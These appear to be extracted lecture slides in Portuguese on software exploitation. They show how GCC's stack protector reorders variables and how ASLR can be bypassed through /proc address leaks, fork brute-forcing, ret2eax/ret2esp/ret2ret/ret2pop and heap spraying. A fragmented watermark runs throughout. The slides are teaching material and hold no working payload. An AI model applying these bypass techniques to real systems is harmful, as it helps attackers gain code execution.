[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex8 stack_protector_ex8.c[rafael@centos stack protector]$ ./stack_protector_ex8str = 0xbfffe810buf = 0xbfffe7f5a = 0xbfffe804b = 0xbfffe800buf2 = 0xbfffe7eec = 0xbfffe7fcfim[rafael@centos stack protector]$

Arrays com menos de 8 elementos

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 243: (In)Segurança De Software, Quebrando Códigos

Stack ProtectorArrays com menos de 8 elementos

; prólogopush %ebpmov %esp,%ebpsub $0x28,%esp

;epílogoleave ret

ebp

retaddr

str

buf2

b

a

c

buf

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 244: (In)Segurança De Software, Quebrando Códigos

Stack Protector

void func(char *str){char buf[7];int a, b;char buf2[8];long c;

printf("str = %p\n", &str);printf("buf = %p\n", buf);printf("a = %p\n", &a);

printf("b = %p\n", &b);printf("buf2 = %p\n", buf2);printf("c = %p\n", &c);

}

int main(int argc, char *argv[]){func(argv[1]);printf("fim\n");

}

[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_ex9 stack_protector_ex9.c[rafael@centos stack protector]$ ./stack_protector_ex9str = 0xbfffe7e4buf = 0xbfffe7e9a = 0xbfffe7f8b = 0xbfffe7f4buf2 = 0xbfffe7fcc = 0xbfffe7f0fim[rafael@centos stack protector]$

Não reodenamento de arrays

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 245: (In)Segurança De Software, Quebrando Códigos

Stack Protector

; prólogopush %ebpmov %esp,%ebpsub $0x38,%espmov 0x8(%ebp),%eaxmov %eax,-x24(%ebp)mov %gs:0x14,%eaxmov %eax,-0x4(%ebp)

;epílogomov -0x4(%ebp),%eaxxor %gs:0x14,%eaxje 0x804849e <func+154>call 0x804830c<__stack_chk_fail@plt>leave ret

Não reodenamento de arrays

buf2

ebp

retaddr

str

b

a

c

str

canary

buf

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 246: (In)Segurança De Software, Quebrando Códigos

Stack Protector

struct struc{char buf[20];int a;

};

void func(char *str){char buf[4];int a;struct struc s;long c;printf("str = %p\n", &str);

printf("buf = %p\n", buf);printf("a = %p\n", &a);printf("s.buf = %p\n", &s.buf);printf("s.a = %p\n", &s.a);printf("c = %p\n", &c);

}

int main(int argc, char *argv[]){func(argv[1]);printf("fim\n");

}

[rafael@centos stack protector]$ gcc -fstack-protector -o stack_protector_exA stack_protector_exA.c[rafael@centos stack protector]$ ./stack_protector_exA str = 0xbfffe7d4buf = 0xbfffe7e8a = 0xbfffe7e4s.buf = 0xbfffe7ecs.a = 0xbfffe800c = 0xbfffe7e0fim[rafael@centos stack protector]$

Não reodenamento de variáveis em structs

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 247: (In)Segurança De Software, Quebrando Códigos

Stack Protector

;prólogopush %ebpmov %esp,%ebpsub $0x48,%espmov 0x8(%ebp),%eaxmov %eax,-x34(%ebp)mov %gs:0x14,%eaxmov %eax,-0x4(%ebp)

;epílogomov -0x4(%ebp),%eaxxor %gs:0x14,%eaxje 0x80484a1 <func+157>call 0x804830c<__stack_chk_fail@plt>leave ret

s.buf

ebp

retaddr

str

s.a

a

c

str

canary

buf

Não reodenamento de variáveis em structs

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 248: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 249: (In)Segurança De Software, Quebrando Códigos

Definição

ASLR

Address Space Layout Randomization. Permite o mapeamento de blocos do programa para regiões aleatórias de memória, a fim de que os endereços base dos blocos não sejam predizíveis.

O endereço de cada bloco é calculado separadamente, de tal forma que o endereço de cada um não tenha nenhuma relação com os outros.

Os blocos são três: área executável, área mapeada, e área da stack.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 250: (In)Segurança De Software, Quebrando Códigos

Definição

ASLR

[rafael@centos aslr]$ cat /proc/self/maps > catmaps1; cat /proc/self/maps > catmaps2[rafael@centos aslr]$ diff -uNr catmaps1 catmaps2--- catmaps1 2009-09-16 11:09:29.000000000 -0300+++ catmaps2 2009-09-16 11:09:31.000000000 -0300@@ -1,14 +1,14 @@-00439000-0043a000 r-xp 00439000 00:00 0 [vdso] 00b1c000-00b36000 r-xp 00000000 fd:00 163878 /lib/ld-2.5.so 00b36000-00b37000 r-xp 00019000 fd:00 163878 /lib/ld-2.5.so 00b37000-00b38000 rwxp 0001a000 fd:00 163878 /lib/ld-2.5.so+00b3c000-00b3d000 r-xp 00b3c000 00:00 0 [vdso] 00b3f000-00c7d000 r-xp 00000000 fd:00 166245 /lib/libc-2.5.so 00c7d000-00c7f000 r-xp 0013e000 fd:00 166245 /lib/libc-2.5.so 00c7f000-00c80000 rwxp 00140000 fd:00 166245 /lib/libc-2.5.so 00c80000-00c83000 rwxp 00c80000 00:00 0 08048000-0804d000 r-xp 00000000 fd:00 1474600 /bin/cat 0804d000-0804e000 rw-p 00004000 fd:00 1474600 /bin/cat-09f36000-09f57000 rw-p 09f36000 00:00 0 [heap]-b7d0d000-b7f0d000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive-b7f0d000-b7f0f000 rw-p b7f0d000 00:00 0 -bf963000-bf978000 rw-p bffea000 00:00 0 [stack]+08ca3000-08cc4000 rw-p 08ca3000 00:00 0 [heap]+b7da0000-b7fa0000 r--p 00000000 fd:00 1596699 /usr/lib/locale/locale-archive+b7fa0000-b7fa2000 rw-p b7fa0000 00:00 0 +bf871000-bf886000 rw-p bffea000 00:00 0 [stack]

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 251: (In)Segurança De Software, Quebrando Códigos

Área executável

ASLR

Apenas 16 bits são randomizados, do bit 12 ao bit 27 do endereço.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 252: (In)Segurança De Software, Quebrando Códigos

Área mapeada

ASLR

16 bits são randomizados, do bit 12 ao bit 27 do endereço.

Após obtido o endereço base da heap, um offset é gerado randomicamente, marcando o início da mesma e mantendo um alinhamento de 64k.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 253: (In)Segurança De Software, Quebrando Códigos

Área da stack

ASLR

16 bits são randomizados, do bit 4 ao bit 27 do endereço.

Após obtido o endereço base da stack, um offset é gerado randomicamente para marcar o início da mesma.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 254: (In)Segurança De Software, Quebrando Códigos

/proc

ASLR

Sem o conhecimento dos endereços de memória do programa, para onde retornar?

O ASLR dificulta a execução de um ataque, porém para um ataque local: /proc/<pid>/maps ou /proc/<pid>/stat.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 255: (In)Segurança De Software, Quebrando Códigos

Força bruta

ASLR

Chamada à fork mantém o mapa de memória do programa intacto.

Em um servidor que bifurca para tratar cada conexão, é possível implementar ataques de força bruta. Caso o payload não ganhe o eip e o programa quebre, o processo pai continua rodando e uma nova conexão pode ser iniciada.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 256: (In)Segurança De Software, Quebrando Códigos

Áreas de memória não randomizadas

ASLR

A randomização não precisa ser feita em todas as áreas de memória. Pode haver setores não randomizados.

Pode-se utilizar código da .text ou de bibliotecas compartilhadas para ganhar o controle do eip.

Caso um ponteiro para o payload seja conhecido, pode-se usar instruções do programa ou utilizar dados brutos do mesmo como instruções para chegar à execução do payload. Através de ret2eax, ret2esp, ret2ret, ret2pop.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 257: (In)Segurança De Software, Quebrando Códigos

ret2eax

ASLR

Payload retornado pela função explorada.

Sobrescrever endereço de retorno para executar: jmp eax.

eax

EBP anterior ...buffer explorado retaddr

função vulnerável

payload &(jmp eax) ...

vetor de injeção

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 258: (In)Segurança De Software, Quebrando Códigos

ret2esp

ASLR

Payload na stack, acima do endereço de retorno.

Função explorada não manipula strings (Não coloca NULL).

Retornar para instrução: jmp [esp].

EBP anterior ptr buffer buffer explorado retaddr

função vulnerável

payload &(jmp esp) ptr buffer

vetor de injeçãoesp

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 259: (In)Segurança De Software, Quebrando Códigos

ret2ret

ASLR

Payload na stack, acima do endereço de retorno.

Função explorada não manipula strings (Não coloca NULL).

Retornar para instrução: ret.

EBP anterior ptr buffer buffer explorado retaddr

função vulnerável

payload &(ret) ptr buffer

vetor de injeçãoesp

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 260: (In)Segurança De Software, Quebrando Códigos

ret2pop

ASLR

Payload na stack, acima do endereço de retorno.

Retornar para instrução leave-ret.

função vulnerável

EBP anterior ...buffer explorado retaddr ptr buffer

payload &(leave-ret) 0x00

vetor de injeçãoesp

ptr buffer

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 261: (In)Segurança De Software, Quebrando Códigos

Heap Spraying

ASLR

Consiste na alocação de grande quantidade de memória da heap.

Payload replicado nesses blocos alocados.

Fazer fluxo do programa retornar para a heap.

Alinhamento da heap aumenta chance de acerto.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 262: (In)Segurança De Software, Quebrando Códigos

EOF

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a